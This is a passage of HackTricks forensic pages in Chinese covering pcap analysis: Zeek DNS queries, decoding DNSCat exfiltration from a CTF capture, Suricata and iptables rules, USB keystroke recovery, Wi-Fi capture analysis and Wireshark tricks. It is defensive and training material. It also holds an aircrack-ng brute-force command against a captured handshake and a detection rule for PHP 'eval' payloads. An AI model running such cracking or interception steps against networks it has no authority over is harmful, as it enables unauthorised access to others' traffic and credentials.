
### DNS 信息

```bash
#Get info about each DNS request performed
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers

#Get the number of times each domain was requested and get the top 10
cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10

#Get all the IPs
cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c

#Sort the most common DNS record request (should be A)
cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr

#See top DNS domain requested with rita
rita show-exploded-dns -H --limit 10 zeek_logs
```

## 其他pcap分析技巧

{% content-ref url="/pages/laPtsOAwgHQ4JF9lFWP0" %}
[DNSCat pcap analysis](/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration)
{% endcontent-ref %}

{% content-ref url="/pages/hdFBg4PN41xsfBwphWMC" %}
[Wifi Pcap Analysis](/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis)
{% endcontent-ref %}

{% content-ref url="/pages/YxVB7bCj0ieKULPu7jmt" %}
[USB Keystrokes](/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes)
{% endcontent-ref %}

​

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一，也是**欧洲**最重要的之一。以**促进技术知识**为使命，这个大会是技术和网络安全专业人士在各个领域的热点会议。

{% embed url="<https://www.rootedcon.com/>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# DNSCat pcap analysis

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

#### [WhiteIntel](https://whiteintel.io)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-878e43bb9c156ea00e2843c8fc47e5e4ebfbc581%2Fimage%20(1224).png?alt=media" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎，提供免费功能，用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。

WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

***

如果您有通过DNSCat进行**数据外泄**的pcap文件（未使用加密），您可以找到外泄的内容。

您只需知道**前9个字节**不是真实数据，而是与**C\&C通信**相关的内容：

```python
from scapy.all import rdpcap, DNSQR, DNSRR
import struct

f = ""
last = ""
for p in rdpcap('ch21.pcap'):
if p.haslayer(DNSQR) and not p.haslayer(DNSRR):

qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".")
qry = ''.join(_.decode('hex') for _ in qry)[9:]
if last != qry:
print(qry)
f += qry
last = qry

#print(f)
```

更多信息：<https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap>\
<https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md>

有一个与Python3配合使用的脚本：<https://github.com/josemlwdf/DNScat-Decoder>

```
python3 dnscat_decoder.py sample.pcap bad_domain
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Suricata & Iptables cheatsheet

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要在 HackTricks 中看到您的**公司广告**？ 或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT 收藏品](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧**。

</details>

## Iptables

### 链

在 iptables 中，规则列表被称为链，按顺序处理。其中，有三个主要链是普遍存在的，还有像 NAT 这样的其他链可能会根据系统的能力而得到支持。

* **Input 链**：用于管理传入连接的行为。
* **Forward 链**：用于处理不是发送到本地系统的传入连接。这对于充当路由器的设备是典型的，其中接收到的数据应转发到另一个目的地。当系统涉及路由、NAT 或类似活动时，此链主要相关。
* **Output 链**：专用于调节传出连接。

这些链确保网络流量的有序处理，允许指定详细规则来管理数据进入、通过和离开系统的流动。

```bash
# Delete all rules
iptables -F

# List all rules
iptables -L
iptables -S

# Block IP addresses & ports
iptables -I INPUT -s ip1,ip2,ip3 -j DROP
iptables -I INPUT -p tcp --dport 443 -j DROP
iptables -I INPUT -s ip1,ip2 -p tcp --dport 443 -j DROP

# String based drop
## Strings are case sensitive (pretty easy to bypass if you want to check an SQLi for example)
iptables -I INPUT -p tcp --dport <port_listening> -m string --algo bm --string '<payload>' -j DROP
iptables -I OUTPUT -p tcp --sport <port_listening> -m string --algo bm --string 'CTF{' -j DROP
## You can also check for the hex, base64 and double base64 of the expected CTF flag chars

# Drop every input port except some
iptables -P INPUT DROP # Default to drop
iptables -I INPUT -p tcp --dport 8000 -j ACCEPT
iptables -I INPUT -p tcp --dport 443 -j ACCEPT


# Persist Iptables
## Debian/Ubuntu:
apt-get install iptables-persistent
iptables-save > /etc/iptables/rules.v4
ip6tables-save > /etc/iptables/rules.v6
iptables-restore < /etc/iptables/rules.v4
##RHEL/CentOS:
iptables-save > /etc/sysconfig/iptables
ip6tables-save > /etc/sysconfig/ip6tables
iptables-restore < /etc/sysconfig/iptables
```

## Suricata

### 安装与配置

```bash
# Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages
# Ubuntu
add-apt-repository ppa:oisf/suricata-stable
apt-get update
apt-get install suricata

# Debian
echo "deb http://http.debian.net/debian buster-backports main" > \
/etc/apt/sources.list.d/backports.list
apt-get update
apt-get install suricata -t buster-backports

# CentOS
yum install epel-release
yum install suricata

# Get rules
suricata-update
suricata-update list-sources #List sources of the rules
suricata-update enable-source et/open #Add et/open rulesets
suricata-update
## To use the dowloaded rules update the following line in /etc/suricata/suricata.yaml
default-rule-path: /var/lib/suricata/rules
rule-files:
- suricata.rules

# Run
## Add rules in /etc/suricata/rules/suricata.rules
systemctl suricata start
suricata -c /etc/suricata/suricata.yaml -i eth0


# Reload rules
suricatasc -c ruleset-reload-nonblocking
## or set the follogin in /etc/suricata/suricata.yaml
detect-engine:
- rule-reload: true

# Validate suricata config
suricata -T -c /etc/suricata/suricata.yaml -v

# Configure suricata as IPs
## Config drop to generate alerts
## Search for the following lines in /etc/suricata/suricata.yaml and remove comments:
- drop:
alerts: yes
flows: all

## Forward all packages to the queue where suricata can act as IPS
iptables -I INPUT -j NFQUEUE
iptables -I OUTPUT -j NFQUEUE

## Start suricata in IPS mode
suricata -c /etc/suricata/suricata.yaml  -q 0
### or modify the service config file as:
systemctl edit suricata.service

[Service]
ExecStart=
ExecStart=/usr/bin/suricata -c /etc/suricata/suricata.yaml --pidfile /run/suricata.pid -q 0 -vvv
Type=simple

systemctl daemon-reload
```

### 规则定义

[来自文档：](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) 一个规则/签名由以下部分组成：

* **动作**，确定规则匹配时会发生什么。
* **头部**，定义规则的协议、IP地址、端口和方向。
* **规则选项**，定义规则的具体内容。

```bash
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;)
```

#### **有效操作包括**

* alert - 生成警报
* pass - 停止对数据包的进一步检查
* **drop** - 丢弃数据包并生成警报
* **reject** - 向匹配数据包的发送方发送RST/ICMP不可达错误。
* rejectsrc - 与 *reject* 相同
* rejectdst - 向匹配数据包的接收方发送RST/ICMP错误数据包。
* rejectboth - 向对话的双方发送RST/ICMP错误数据包。

#### **协议**

* tcp（用于tcp流量）
* udp
* icmp
* ip（ip代表‘all’或‘any’）
* *layer7协议*: http, ftp, tls, smb, dns, ssh...（更多内容请参阅[**文档**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)）

#### 源地址和目标地址

支持IP范围、否定和地址列表：

| 示例                             | 含义                         |
| ------------------------------ | -------------------------- |
| ! 1.1.1.1                      | 除了1.1.1.1之外的所有IP地址         |
| !\[1.1.1.1, 1.1.1.2]           | 除了1.1.1.1和1.1.1.2之外的所有IP地址 |
| $HOME\_NET                     | 您在yaml中设置的HOME\_NET        |
| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET而不是HOME\_NET  |
| \[10.0.0.0/24, !10.0.0.5]      | 10.0.0.0/24，但不包括10.0.0.5   |

#### 源端口和目标端口

支持端口范围、否定和端口列表

| 示例              | 含义                |
| --------------- | ----------------- |
| any             | 任何地址              |
| \[80, 81, 82]   | 端口80、81和82        |
| \[80: 82]       | 从80到82的范围         |
| \[1024: ]       | 从1024到最高端口号       |
| !80             | 除了80之外的所有端口       |
| \[80:100,!99]   | 从80到100的范围，但排除99  |
| \[1:80,!\[2,4]] | 从1到80的范围，但排除端口2和4 |

#### 方向

可以指示应用通信规则的方向：

```
source -> destination
source <> destination  (both directions)
```

#### 关键词

在Suricata中有**数百个选项**可用于搜索您正在寻找的**特定数据包**，如果发现有趣的内容，将在此处提及。查看[**文档**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)获取更多信息！

```bash
# Meta Keywords
msg: "description"; #Set a description to the rule
sid:123 #Set a unique ID to the rule
rev:1 #Rule revision number
config classification: not-suspicious,Not Suspicious Traffic,3 #Classify
reference: url, www.info.com #Reference
priority:1; #Set a priority
metadata: key value, key value; #Extra metadata

# Filter by geolocation
geoip: src,RU;

# ICMP type & Code
itype:<10;
icode:0

# Filter by string
content: "something"
content: |61 61 61| #Hex: AAA
content: "http|3A|//" #Mix string and hex
content: "abc"; nocase; #Case insensitive
reject tcp any any -> any any (msg: "php-rce"; content: "eval"; nocase; metadata: tag php-rce; sid:101; rev: 1;)

# Replaces string
## Content and replace string must have the same length
content:"abc"; replace: "def"
alert tcp any any -> any any (msg: "flag replace"; content: "CTF{a6st"; replace: "CTF{u798"; nocase; sid:100; rev: 1;)
## The replace works in both input and output packets
## But it only modifies the first match

# Filter by regex
pcre:"/<regex>/opts"
pcre:"/NICK .*USA.*[0-9]{3,}/i"
drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;)

# Other examples
## Drop by port
drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;)
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？想要看到您的**公司在HackTricks中宣传**吗？或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>


# USB Keystrokes

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

如果您有包含类似以下键盘USB通信的pcap文件：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-20c8def05cb67ba3be906082c2aa4aed29821544%2Fimage%20\(613\).png?alt=media)

您可以使用工具[**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser)来获取通信中写入的内容：

```bash
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
python3 usbkeyboard.py ./keystrokes.txt
```

您可以在以下链接中找到更多关于如何分析此内容以及一些脚本：

* <https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4>
* <https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Wifi Pcap Analysis

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 检查BSSID

当您收到一个主要流量为Wifi的捕获时，您可以使用WireShark开始调查捕获中的所有SSID，方法是\_Wireless --> WLAN Traffic\_：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-139d4b08a065059377f1d3fb99dfb735ceee0b56%2Fimage%20\(424\).png?alt=media)

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-5c0a0507aa8d3ddf0c7b0332841dd61c76a537a2%2Fimage%20\(425\).png?alt=media)

### 暴力破解

该屏幕的一列指示**在pcap中是否找到任何身份验证**。如果是这种情况，您可以尝试使用`aircrack-ng`进行暴力破解：

```bash
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
```

## 数据在信标/侧通道中

如果您怀疑**数据正在Wifi网络的信标中泄漏**，您可以使用类似以下过滤器来检查网络的信标：`wlan contains <NAMEofNETWORK>`，或者 `wlan.ssid == "NAMEofNETWORK"`，在过滤后的数据包中搜索可疑字符串。

## 在Wifi网络中查找未知MAC地址

以下链接将有助于找到**在Wifi网络中发送数据的设备**：

* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`

如果您已经知道**MAC地址，您可以从输出中删除它们**，添加类似这样的检查：`&& !(wlan.addr==5c:51:88:31:a0:3b)`

一旦您发现**在网络中通信的未知MAC地址**，您可以使用类似以下的**过滤器**：`wlan.addr==<MAC地址> && (ftp || http || ssh || telnet)` 来过滤其流量。请注意，如果您已解密流量，ftp/http/ssh/telnet过滤器将非常有用。

## 解密流量

编辑 --> 首选项 --> 协议 --> IEEE 802.11--> 编辑

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-af592a12a8f357e481cc9fdedfc334494cb12d78%2Fimage%20\(426\).png?alt=media)


# Wireshark tricks

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)的GitHub仓库提交PR来分享您的黑客技巧。

</details>

### [WhiteIntel](https://whiteintel.io)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-878e43bb9c156ea00e2843c8fc47e5e4ebfbc581%2Fimage%20(1224).png?alt=media" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎，提供免费功能，用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。

WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

***

## 提升您的Wireshark技能

### 教程

以下教程非常适合学习一些很酷的基本技巧：

* <https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/>
* <https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/>
* <https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/>
* <https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/>

### 分析信息

**专家信息**

单击 ***Analyze** --> **Expert Information*** 您将获得对**分析**的数据包中发生的情况的**概述**：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-c9c778b2d088e9df1fd3ab30d1aa3ddd423934c2%2Fimage%20\(253\).png?alt=media)

**已解析地址**

在 ***Statistics --> Resolved Addresses*** 下，您可以找到Wireshark解析的一些信息，例如端口/传输到协议，MAC地址到制造商等。了解通信中涉及的内容是很有趣的。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-4d6681debac9b6d0f1f7a9d6eb838fbc1a768562%2Fimage%20\(890\).png?alt=media)

**协议层次结构**

在 ***Statistics --> Protocol Hierarchy*** 下，您可以找到通信中涉及的**协议**及其相关数据。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-5d65600876b0eccaea055c00ba5e1260b3bc242e%2Fimage%20\(583\).png?alt=media)

**对话**

在 ***Statistics --> Conversations*** 下，您可以找到通信中对话的**摘要**及其相关数据。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-07d2d492041a0647a7f7cce3ea62b52c22a18304%2Fimage%20\(450\).png?alt=media)

**端点**

在 ***Statistics --> Endpoints*** 下，您可以找到通信中端点的**摘要**及每个端点的相关数据。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-da99a7c62ebe78416bc9f2d140b41f5f5c0c87ae%2Fimage%20\(893\).png?alt=media)

**DNS信息**

在 ***Statistics --> DNS*** 下，您可以找到有关捕获的DNS请求的统计信息。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-c9c6e6b91802b59d49c1e70da4edfebe1de78c31%2Fimage%20\(1060\).png?alt=media)

**I/O图**

在 ***Statistics --> I/O Graph*** 下，您可以找到通信的**图表**。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e73c8449460789e914313a83006824852ed3b3db%2Fimage%20\(989\).png?alt=media)

### 过滤器

在这里，您可以找到根据协议的Wireshark过滤器：<https://www.wireshark.org/docs/dfref/>\
其他有趣的过滤器：

* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
* HTTP和初始HTTPS流量
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
* HTTP和初始HTTPS流量 + TCP SYN
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
* HTTP和初始HTTPS流量 + TCP SYN + DNS请求

### 搜索

如果您想在会话的数据包中**搜索**内容，请按下CTRL+f。您可以通过按右键然后编辑列来向主信息栏添加新层（编号、时间、来源等）。

### 免费的pcap实验室

**通过以下免费挑战练习：** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net)

## 识别域名

您可以添加一个显示Host HTTP头的列：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-4731cf3e3c9e55c21fae726c9eb84b0f0c54fd48%2Fimage%20\(635\).png?alt=media)

以及添加一个从初始HTTPS连接中添加服务器名称的列（**ssl.handshake.type == 1**）：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-f5ec748fb7887e8e6dd4432a04a3c608f009afd3%2Fimage%20\(408\)%20\(1\).png?alt=media)

## 识别本地主机名

### 从DHCP

在当前的Wireshark中，您需要搜索`DHCP`而不是`bootp`

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-c514662020a716b8c64cac56ad88a5588219986e%2Fimage%20\(1010\).png?alt=media)

### 从NBNS

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-274df2375723d762fdfce57afb0a49985569a48e%2Fimage%20\(1000\).png?alt=media)

## 解密TLS

### 使用服务器私钥解密https流量

*编辑>首选项>协议>ssl>*

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-2c18e67c06696b5f671842c2b5bdf49dad0f52da%2Fimage%20\(1100\).png?alt=media)

点击\_编辑\_，添加服务器和私钥的所有数据（*IP、端口、协议、密钥文件和密码*）

### 使用对称会话密钥解密https流量

Firefox和Chrome都可以记录TLS会话密钥，这些密钥可以与Wireshark一起用于解密TLS流量。这允许对安全通信进行深入分析。有关如何执行此解密的更多详细信息，请参阅[Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)的指南。

要检测此内容，请在环境中搜索变量`SSLKEYLOGFILE`

共享密钥文件看起来像这样：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-b6cad7d36423ee8c4f315e55224042706854019f%2Fimage%20\(817\).png?alt=media)

要在Wireshark中导入此文件，请转到\_编辑 > 首选项 > 协议 > ssl > 并将其导入到（Pre）-Master-Secret日志文件名中：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-ab5d833dca662874145ccaae213eea334acd6cc8%2Fimage%20\(986\).png?alt=media)

## ADB通信

从APK被发送的ADB通信中提取APK：

```python
from scapy.all import *

